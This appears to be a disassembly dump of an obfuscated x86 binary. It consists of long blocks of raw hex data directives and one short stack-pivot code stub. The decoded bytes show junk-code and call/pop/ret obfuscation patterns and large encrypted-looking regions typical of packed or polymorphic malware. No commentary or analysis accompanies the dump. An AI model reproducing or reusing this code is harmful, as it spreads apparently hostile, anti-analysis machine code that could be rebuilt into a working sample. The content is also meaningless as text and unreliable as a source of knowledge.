		dd 6073249h, 0BE8h, 973BF200h, 43A4C8BDh, 2CCA8884h, 0FF5BC0B7h
		dd 0AA6A5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 1828FF18h, 87250165h, 6DBD093Dh
		dd 0F060728h, 0CA68FEB7h, 0BBAF687Bh, 0A0300E6h, 35240481h
		dd 0F50B688h, 383h, 0DFB70F00h,	0A6AD858Dh, 0E850060Ah
		dd 0Ch,	5BCFDF69h, 9540912Eh, 0D5553A4Bh, 10800Fh, 0AE80000h
		dd 5000000h, 0E21A027h,	7FC1AACh, 895B5FFCh, 0BD032404h
		dd 6072CD9h, 1D0195FFh,	6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0C77799C3h, 2A58BB66h
		dd 61B6D780h, 1D71BD8Bh, 85C70607h, 6072D05h, 3, 5F5FB752h
		dd 0A6ADBD83h, 0F00060Ah, 3284h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 63F6E873h
		dd 0DB42AAh, 39BD2997h,	0E9060731h, 1Eh, 5003D780h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD8BC08Bh
		dd 607140Dh, 0FB8BFB8Bh, 2D05BD83h, 0F030607h, 41F85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 2AE580F0h, 0BD83E605h, 60AA6ADh,	0F1840F00h
		dd 6A000003h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A0F9C356h, 0DF8B6603h, 0B5FFDE8Bh
		dd 60AA6ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	2FC35040h, 0D3FBB850h, 0BD297D24h, 6071049h, 0F88FDF81h
		dd 95FF5AA6h, 607043Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0A9C35545h, 1E266F1h,	0FD4CF404h, 0A6A1B58Bh
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 8A4109C3h, 3BBB85A4h, 0BB358647h,	6DB0253Fh
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0CC61C7C3h, 0BF0FECEAh, 850F50DAh
		dd 0Dh,	23BB5250h, 0F267153h, 5AD98B31h, 24348958h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7AC35646h, 0DE9DAh
		dd 7A690000h, 0E2E81FB2h, 6DC55923h, 0FF39FD1Fh, 0AA6ADB5h
		dd 7F38006h, 0CCE38166h, 5595FF39h, 0E906071Ah,	0Dh, 0A9FAD22h
		dd 929B0CE3h, 4D8DFFA3h, 0A1B58B4Bh, 0F060AA6h,	48Ch, 88BF6600h
		dd 858BF83Eh, 6071389h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 61C35040h, 8994BBA2h,	0C486h,	2D9D8B00h
		dd 0E906072Eh, 0Ch, 0E1A35C5Ch,	0EC076C22h, 0E60A8844h
		dd 679958Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E8869AC3h, 0Ch,	18B5A0FBh, 373B5268h
		dd 450039E0h, 5B70C780h, 6A04C283h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0CC3BC353h
		dd 77146424h, 600F84D8h, 205089F9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0DFC35545h,	9D31D94Eh, 6071451h
		dd 0BA1F858Dh, 6A060Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 870FB9C3h, 1, 0B88689F9h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 5A07C353h, 8567415Ch, 0B197502h, 707759Dh
		dd 0DF816606h, 6A4D22h,	0DE9h, 25D68700h, 0F94FEBD6h, 0A66A274Fh
		dd 0B5FF207Ch, 60AA6ADh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 96C35141h, 11EAEB13h,	8BB8C65Ah, 731A19Dh
		dd 0F9B70F06h, 1AF995FFh, 8B660607h, 525050DFh,	9DBB310Fh
		dd 5A017457h, 24348958h, 1081BD8Bh, 0B5FF0607h,	60AA6ADh
		dd 1F659D8Bh, 95FF0607h, 6071529h, 30B99D0Bh, 0BD830607h
		dd 60712A5h, 2C840F00h,	81000000h, 0BF3EABCFh, 0CBBF966Ch
		dd 502E2FDFh, 61AC04BFh, 10E9963Bh, 6F000000h, 0EC9613Ah
		dd 0E1BCF584h, 0F424DC85h, 66B9092Ch, 0FFEEECBFh, 0AA6ADB5h
		dd 619D8906h, 0FF06070Bh, 7055595h, 0A19D8906h,	0FF060703h
		dd 0AA6ADB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 69220CDCh, 8A7766ECh, 0C380999Ah
		dd 0F995FFA3h, 5006071Fh, 5FDF8B66h, 1F1DBD83h,	0F020607h
		dd 3D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 16ED5B64h, 7E4D3EB5h, 0E49DF9BBh
		dd 0DD858B2Ah, 0E9060706h, 6, 181D6DE3h, 0C69240h, 85C7FC00h
		dd 6072691h, 0
		dd 0BE960h, 1C720000h, 0B28F4FD1h, 0EAD3E1C2h, 1D8D29C9h
		dd 61060731h, 0FFF504E9h, 0D9D89FFh, 8B060714h,	56006AC1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 3FA4349Eh, 9D8BFA9Eh, 6070D0Dh, 14E9h, 4966C500h, 6Ch
		dd 3 dup(0)
		dd 5A0E900h, 5BBC0000h,	0C0542200h, 21EFBD9Bh, 848E5C3Ah
		dd 0EA2BF9D7h, 74F89371h, 0CBA9B263h, 644219FDh, 0DE7D96h
		dd 9E7CDF32h, 7F61E8CCh, 484D321h, 854A8B2Ah, 6F50FCB3h
		dd 9F634639h, 0C8C6E972h, 7154070Ah, 15F368ADh,	0AB91CA47h
		dd 0F3229EDh, 661546CBh, 8D84C883h, 0AD67ABCEh,	762C8BAEh
		dd 1A005BB8h, 0C812B193h, 10F3367Eh, 67253B80h,	0C78EB1AAh
		dd 0DD8C1C94h, 5538D957h, 0B75E8091h, 0BBA81A4h, 2AB45F2Dh
		dd 0E3C170EBh, 3A5DFE15h, 53BE20F6h, 70A1E508h,	5201C8EBh
		dd 0BD6CEF26h, 5B208E9Ah, 990947Fh, 7EC86227h, 0C8EDE5ACh
		dd 4889654Eh, 8C04EA99h, 0C7942305h, 8265A87Eh,	88D33E0Ch
		dd 68A96765h, 11C09B76h, 94CAA12Eh, 10F27EC7h, 88F194ABh
		dd 6D9ADE88h, 0C1000000h, 2B4E0D04h, 0C76B461Eh, 378C6E7Eh
		dd 81A37331h, 0C76B18FAh, 0AB5A9D7Eh, 8ECD4488h, 12F5A46Bh
		dd 88B11273h, 179DEh, 4A00000h,	2A284B10h, 583BEDB2h, 0F9E06CA8h
		dd 0C7AB2204h, 3864A77Eh, 996083D8h, 3922F2B6h,	1B40D216h
		dd 0EAD199F8h, 9177E430h, 0ABB09219h, 0F2357EC7h, 46CB990Fh
		dd 0EAAF3715h, 23FDF564h, 0FC61446Ch, 274A1104h, 72A31E3h
		dd 9F7B4048h, 3907E576h, 259D83D8h, 0C76BBC9Eh,	1BFE417Eh
		dd 6CA46260h, 2205CCEFh, 86A9B25Eh, 0D340FE9Ah,	0BB9E6588h
		dd 0E6AF542Bh, 68DE88B7h, 0BCD9DBA3h, 8E71D71Ch, 0B54Dh
		dd 11047400h, 2DE3274Ah, 6B8E70F7h, 0D0137EC7h,	59BAFE21h
		dd 1BCA9185h, 7661B4F8h, 26264847h, 0B9DC8BF1h,	38675C90h
		dd 0CE5229F1h, 9AC9C909h, 5E8229Dh, 0A987D441h,	3B213ADBh
		dd 0E5C8937Dh, 6D672C2Ah, 203BD573h, 3E3E2EDh, 0A5B65C20h
		dd 35FA9682h, 4E40A5A3h, 52CFA325h, 0AD85B8A8h,	1B40D2FEh
		dd 0BE4E31F8h, 935342F9h, 6638DE88h, 5F000000h,	694BD24Ah
		dd 0ED7EC76Bh, 0C76B8466h, 0E1C6097Eh, 0BD6CEF21h, 0D8FF16DAh
		dd 0E168B9C6h, 7EC852FFh, 910E4184h, 8CA1D46Bh,	0CE8A6559h
		dd 1B193CEBh, 84A7B45Dh, 0FD16DABDh, 0DE123B5Eh, 83D83D99h
		dd 100436A5h, 441B284Bh, 6C7EC76Bh, 770E358Ah, 14DE88B1h
		dd 0Dh,	0ACAF6422h, 8DCE4589h, 11F4A36Ah, 4F0C04ACh, 0FB29E82Ch
		dd 8D82D93Dh, 7EC76BABh, 6AC6A82Fh, 84B7EC7h, 0E31E023h
		dd 0F32F9402h, 0D6603E1Dh, 65F61E43h, 0E6CC7B42h, 0BF84D85Fh
		dd 0ED0ED578h, 7A77BCD9h, 446716h, 9E6C4A11h, 0B8C5E873h
		dd 78C024E0h, 3E61FA16h, 1D401BFAh, 2DCA311h, 632A4D0Eh
		dd 86FA3B4h, 759B43CEh,	4DFCC3E6h, 0B966A267h, 52813D3Fh
		dd 0B371F96Fh, 0FD6F962h, 0B2A9682Ch, 95C64B8Fh, 0E5E5EAAFh
		dd 4DC1387Ch, 0E8F0AF6Ah, 91CA4793h, 3526EDABh,	9654DC52h
		dd 5FFEE17Ah, 0E4905226h, 14865h, 0D1488C00h, 219C2309h
		dd 0E678C070h, 11FFBDA3h, 31E3274Ah, 9140072Ah,	62AFF3AEh
		dd 0C44D1BF9h, 0C89DEF13h, 6CA50543h, 6E9140EFh, 8E74E72Ah
		dd 0F51843D0h, 0E8E70F7h, 0D01378C0h, 0C4833E21h, 230110CEh
		dd 0C00EBA9Ch, 4DFC3F78h, 2D2EE62Ah, 0B194430Ah, 8C65A21h
		dd 0A76B4E0Dh, 5133BA6Ah, 0D678C00Eh, 40FEE493h, 0A0678AD1h
		dd 0E79E47BDh, 0A4E4900Eh, 3Bh,	8FD048CBh, 4026D586h, 0C76AB7B9h
		dd 53397CFEh, 0FADD7E95h, 6B50323Fh, 46D8FEC7h,	0AB71E971h
		dd 6B3C3EC5h, 0BE017EC7h, 799A58E0h, 15F8BFE2h,	9C99h
		dd 0B45F1D00h, 485FC4A7h, 0AB2309D1h, 553823EDh, 0BF8ADDC8h
		dd 795FA278h, 8CCF4301h, 0C04BB597h, 14F73A78h,	25965B59h
		dd 64CA042Eh, 8D84482Bh, 0EF22F0CEh, 864B496Ch,	0E878CB99h
		dd 8D1AFD8Ch, 78BF86B8h, 7AEED509h, 0E40754BCh,	9B763A1Dh
		dd 0F81CDAC0h, 800A8063h, 9D5B4199h, 0F8BFE279h, 611F9715h
		dd 38C5A8B3h, 72B33F03h, 96DAFD40h, 79BDE07Bh, 599DC09Bh
		dd 537C9FBCh, 7FB581Fh,	253C2299h, 5B9017FDh, 986CA788h
		dd 5FB16F55h, 0DF12D9FCh, 3C6AF399h, 0D04629E8h, 9D14861h
		dd 0ADAE6523h, 8BD0468Ah, 0F47BF9DCh, 78BB23BFh, 19FB82FCh
		dd 9E78BBB4h, 4589AC5Bh, 0EBA98FCCh, 0FE5DB727h, 7F652C4Fh
		dd 0BBB416F8h, 75589B78h, 7BE031FFh, 90C94B58h,	642CCE78h
		dd 0D4EC31Fh, 74B0612Fh, 78DA0BEDh, 9E4D900Eh, 49DB377Bh
		dd 78D9E0C2h, 7322650Eh, 0E1D64450h, 0A17FDC35h, 32E3A119h
		dd 4A3F0629h, 0E78DA68h, 0AEC73EDh, 8F0E78DAh, 0F6BA9D4Ch
		dd 9C5A401Bh, 7DC1E477h, 0D89FC299h, 4714FD29h,	0BF7A5D24h
		dd 0DC3h, 48CF4700h, 0E78DA66h,	60C5A8EBh, 13041520h, 30E12548h
		dd 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h,	0D14185A8h
		dd 0ED23678Ah, 0D074B6Eh, 832A2B4Eh, 1C8904ECh,	81E38924h
		dd 4C3h, 4EB8300h, 5C241C87h, 11D868h, 24048900h, 620368h
		dd 243C8900h, 6C9F68h, 240C8900h, 1226A9B9h, 99C18142h
		dd 8158FE6Ch, 1E2D4FF1h, 0ABC18179h, 8923FCF8h,	8B5459C8h
		dd 0C481243Ch, 4, 8BB53h, 0FB010000h, 89C28952h, 0FF5B5A13h
		dd 835F2434h, 48B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		dw 3740h
		dd 0A58143CFh, 4ADD949h, 0CDB8CF90h, 3060BBBh, 52E0FFC5h
		dd 0CA0AACDEh, 0E120325h, 4770F759h, 0B77B9DE4h, 1D7F8719h
		dd 0AA559EE3h, 7C0B12DAh, 0C450668Bh, 4A340FE9h, 0B20CF94Fh
		dd 0CF17CE65h, 947179C0h, 0C229EED2h, 636DFCB7h, 966AC45Ch
		dd 8D35A814h, 7078585h,	8C0F5606h, 1, 66505BF8h, 8976C0BFh
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 80BD1FC3h, 8919AA68h, 71BBD9Dh, 6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 2C8DC352h, 0FC782ED0h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9D89AFC3h
		dd 6070431h, 0C5BF6651h, 858D5B05h, 60BBEF5h, 5C083F5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7AC35646h
		dd 13E951h, 0CACB0000h,	5E4B90Dh, 68633CF0h, 846A1DF7h
		dd 0ADB3DE91h, 85895F46h, 6072E85h, 0BE9h, 34A4DB00h, 6DD6DF7Ah
		dd 3BD170F2h, 10E890h, 8C930000h, 24CE0375h, 0A427B90Eh
		dd 59FAE40h, 59BBF1D9h,	5F3A66D7h, 90D88B50h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BFC35545h, 66718B72h
		dd 8A0FF262h, 10h, 8E857h, 0A0460000h, 77A80216h, 5B5BB98Ch
		dd 68D0Fh, 9D8B0000h, 6073209h,	0BF66006Ah, 6A85ADh, 0BFDFBF0Fh
		dd 16DEF97Bh, 4C195FFh,	0C9BF0607h, 8D3E19BBh, 0AA64F8Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 2A0EF7C3h, 66A1B970h, 0D1FFDF8Bh, 21999D8Bh
		dd 0BD830607h, 607218Dh, 0B4850F01h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 88F4C352h, 8146B6DAh, 1DB43DD7h, 0FD9D8B6Bh,	6A060713h
		dd 55006A02h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0BEFC63F0h, 0AC023205h, 0DE9604Eh, 7000000h
		dd 215A2A18h, 0D15E9D00h, 57B10B9h, 0A8FE80BFh,	0CE96128h
		dd 8000000h, 0DB339AE4h, 5D5E71F3h, 9085AF64h, 13E8h, 91914100h
		dd 9C404241h, 1F73F78Eh, 2503FAA3h, 0ACFDF871h,	7E9h, 34E09C00h
		dd 0C918BC96h, 6690505Bh, 0FF7A20BBh, 71AF995h,	69858906h
		dd 0E906072Ah, 0CA1h, 0E8h, 0ED815D00h,	60BBEFFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1FC35141h, 2A493489h
		dd 12E911h, 53B70000h, 0AA5F7CD3h, 7E824E26h, 9D141AD4h
		dd 0C571088Ah, 4ADBD8Bh, 858D0607h, 60A9108h, 0A5D9D29h
		dd 0F900607h, 48Eh, 5B505200h, 0BF66505Bh, 8190070Fh, 93B6F3EBh
		dd 35FF6431h, 0
		dd 0A11BD8Bh, 89640607h, 25h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 149489BFh
		dd 0AE981927h, 85FFFA8Bh, 60732F1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F9C35343h,	0D21F5C18h, 68A0Fh
		dd 0BD8B0000h, 60709BDh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0DF8355C3h, 1EF40E79h
		dd 9D23CAF3h, 6071395h,	157DB5FFh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BE9BF8C3h
		dd 78F4402Ah, 0FE8B6634h, 29FFBF0Fh, 71F45BDh, 0C995FF06h
		dd 0E906071Ah, 108h, 5E8h, 0C5F06400h, 9D8B480Eh, 6072595h
		dd 0E2CB815Bh, 0B0212C3Ah, 9E800h, 0AAEF0000h, 7CE05416h
		dd 6047F2DAh, 0B58B5A56h, 607080Dh, 70E65F61h, 0CE96053h
		dd 77000000h, 0DA5C65B5h, 2CE64552h, 8B315863h,	0E45F61D6h
		dd 6D8D8971h, 3C060731h, 0AD830F61h, 8B000000h,	716999Dh
		dd 0C8B60F06h, 6BADE8Bh, 8B000000h, 5EE781C1h, 0C11C3FD8h
		dd 0BB6604E8h, 0F7663E44h, 3820FE2h, 80000000h,	0C82BAAF3h
		dd 7102CB81h, 0D18B1C99h, 13A18D89h, 6DE90607h,	3000000h
		dd 701959Dh, 8858B06h, 8B000000h, 722859Dh, 0C083F906h
		dd 999D8B07h, 83060725h, 0FC5600C0h, 0FD03B5Fh,	1183h
		dd 0E19D8900h, 0E9060712h, 38h,	1FB19D8Bh, 8D8B0607h, 0FFFFFFFFh
		dd 6DCB8166h, 1E183EBh,	1E840Fh, 0A5830000h, 0FFFFFFFFh
		dd 0DB8166FEh, 95893A2Ch, 8, 0B9B9BF66h, 0E9F98B66h, 0
		dd 3AE7B58Dh, 0BF66060Bh, 6A45A5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 52C35646h, 9946EA2Eh, 48BF665Bh
		dd 0B595FFFCh, 66060716h, 9324D781h, 10A8B9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0EE2C0333h, 42086EAh, 12E9F9E5h, 48000000h, 331D16C5h
		dd 5BFDE144h, 8433DD64h, 89802478h, 0FCE18387h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B5C35747h, 749EF1B1h
		dd 7011E0DFh, 0F2EB81A6h, 0FC75C079h, 6AC02Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 48A7B6C3h, 2B8D2E1Fh, 50006AD2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0FEF9EC0Ah, 0C233AD57h
		dd 0D003E8D1h, 7504E983h, 666057F4h, 317862BAh,	71D0585h
		dd 895F6106h, 72E09BDh,	880D06h, 8BFC0000h, 7067995h, 0DE906h
		dd 0ECFD0000h, 26ED6B9Ah, 274238Fh, 8B27E64Eh, 72CE58Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0F67A356Ch, 50DA8BCDh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0CB816658h, 0FB8B7D36h, 6E8h
		dd 0C90B00h, 8941F8B5h,	71041BDh, 0BD835B06h, 60710E5h
		dd 2C840F00h, 0B3000000h, 0B834h, 8B600000h, 70951B5h
		dd 0A3C98006h, 1C8D8D61h, 0B06074Eh, 70005BDh, 0FE1FF06h
		dd 684h, 3D9D8B00h, 83060725h, 72D05BDh, 840F0006h, 43Bh
		dd 0DE8h, 5F79BE00h, 0F27AA981h, 94C99727h, 0BD8968D4h
		dd 6070085h, 5BD835Fh, 106072Dh, 430840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 1D5FA5C3h, 967BEB82h, 61858989h, 83060714h, 72D05BDh
		dd 860F0306h, 3C4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 8CC35040h, 0C60CC030h, 425BD8Bh, 6A600607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 28C355h, 3BBCA79Ah, 1D958D89h, 8B660607h
		dd 0D98C66D9h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0A93C352h, 59840FC9h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E6AFC351h, 8BDF8BF9h,	7062985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8BC40807h, 758533DAh, 6A06071Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 7CE4C353h, 0BA0BFCFEh, 0FEBF0F43h, 0AE95190h, 4E000000h
		dd 0CCC2327h, 0C4FC91B2h, 8B505FCAh, 6A90DAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B700BBC3h
		dd 6AFCFEDCh, 68FA8B00h, 785B7192h, 44BE6660h, 348161A5h
		dd 44726D24h, 52006A78h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 89315FA9h, 70505BDh, 195FF06h, 6A06071Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0A94DC351h, 0BD8BDBDEh, 6072055h,	0A6AD8589h
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0A0E9A8C3h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0AB10C355h
		dd 0F9AE72C8h, 0D21F5C18h, 0A6A5858Bh, 6A060Ah,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A3EC54C3h, 6BBCF7B1h, 0C77BB3h, 18h, 8BDE8B66h, 713319Dh
		dd 0A9B58B06h, 6A060AA6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 6159C356h, 1F29BD8Bh
		dd 858B0607h, 6070C21h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 20C35040h, 0DE841h, 1F0D0000h, 0CB883B5Dh
		dd 1D41B2DCh, 0F6A9B44h, 895FF8B7h, 42BB6606h, 29858BF8h
		dd 6A060706h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 1835C356h, 520825E8h, 1719501h
		dd 895B0607h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 39B8AEC3h, 96114CE8h, 96501FB7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EC35646h
		dd 0B5899903h, 6070115h, 0A6A5B5FFh, 0CB81060Ah, 25FE329h
		dd 85CB7F68h, 3A2EBB6Ah, 3481230Bh, 9AC88024h, 8DDF8B6Ah
		dd 0AA6AD85h, 0AD9D8B06h, 5006071Ch, 0D09EBF66h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 9D84C350h, 8996B73Ah, 71B999Dh, 195FF06h
		dd 6106071Dh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	41C35141h, 17C78166h, 585C709h,	306072Dh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0E069C352h, 589EAD3Bh, 0E1DB8122h, 835E9ADEh
		dd 0AA6ADBDh, 840F0006h, 14h, 21258D89h, 9D8B0607h, 6072E1Dh
		dd 1EE9h, 24DF8000h, 110C3050h,	1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F32C356h, 0BD8BFEB7h
		dd 6070029h, 2D05BD83h,	0F030607h, 3AE85h, 0D604BF00h
		dd 0BD835248h, 60AA6ADh, 9C840F00h, 81000003h, 0D6618ACFh
		dd 0ADB5FF46h, 0FF060AA6h, 7043D95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0C6404C89h
		dd 5D78166h, 0A1B58B7Dh, 6A060AA6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0BDBAC353h
		dd 14102CCDh, 106C7h, 0BF0F0001h, 348950FFh, 0FA8B6624h
		dd 0A6ADB5FFh, 6660060Ah, 4072D781h, 0C258523h,	0FF610607h
		dd 71A5595h, 0DE8B6606h, 1689BD31h, 0B58B0607h,	60AA6A1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F8C35141h
		dd 1FDDD896h, 1389858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0E98B0AC3h, 6601A7B5h
		dd 894A14BFh, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 44EEBEF7h, 181ECB32h
		dd 0BF66678Bh, 958BD365h, 6070679h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0D0C35040h,	29B928D6h, 9D893471h
		dd 6071ACDh, 6A04C283h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 27C7C351h, 6E8D2h
		dd 94A30000h, 2BBFB936h, 0B7CB8166h, 50895B6Ah,	51006A20h
		dd 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E4237F30h, 823285D7h
		dd 858D1D7Ah, 60ABA1Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F2C35646h, 0F0D2D984h, 6EB4E723h, 5D8D89ECh
		dd 8906072Eh, 0B886h, 6800F00h,	0B000000h, 70D95BDh, 6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 27D8C350h, 4E04335Dh, 0E982E4B0h,	5, 22FCC79Fh
		dd 5D8D89B9h, 0FF060704h, 0AA6ADB5h, 0DD9D8B06h, 0FF060710h
		dd 71AF995h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 426D66F2h, 0E9968834h, 11h, 0CE01CC06h
		dd 5A77361Ah, 2D1A5F6Ch, 0F371EE55h, 525050A7h,	8B616060h
		dd 310F61FAh, 5AFB8B66h, 12E89658h, 19000000h, 0E73B22F6h
		dd 6272341Ch, 0D6206886h, 2B7811B8h, 0FFB70F62h, 0ADB5FF5Bh
		dd 66060AA6h, 9509F98Bh, 6070111h, 152995FFh, 870F0607h
		dd 0
		dd 12A5BD83h, 0F000607h, 1884h,	0FD9D8B00h, 66060727h
		dd 643CC781h, 50FBB396h, 8996D98Ah, 70A31BDh, 0ADB5FF06h
		dd 8B060AA6h, 5595FFF9h, 0FF060705h, 0AA6ADB5h,	8D9D0306h
		dd 0FF06070Eh, 71FF995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 37227A7h, 52DFB70Fh, 6FD9D89h
		dd 835F0607h, 71F1DBDh,	840F0206h, 6Eh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0B0C35242h, 2BB60933h
		dd 0DD858BB0h, 1060706h, 715A195h, 0C606h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A0C35343h, 14E8D634h
		dd 27000000h, 2FD4693Ah, 0EFB0DFC4h, 3FFC7236h,	2FF19066h
		dd 8BD8611Bh, 70981BDh,	85C75B06h, 6072691h, 0
		dd 8CF8166h, 0E9DF8B44h, 0FFFFF46Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 7DC35242h, 6D9072C2h, 0CB8100FCh
		dd 6A586E71h, 32ED8D89h, 0C18B0607h, 53C43EBFh,	85858D41h
		dd 89060707h, 70DA995h,	52505006h, 0EE8h, 14D3AB00h, 23C6A714h
		dd 614E175Dh, 66BBA115h, 5F156FBBh, 9BF310Fh, 5A1FD42Fh
		dd 24048958h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
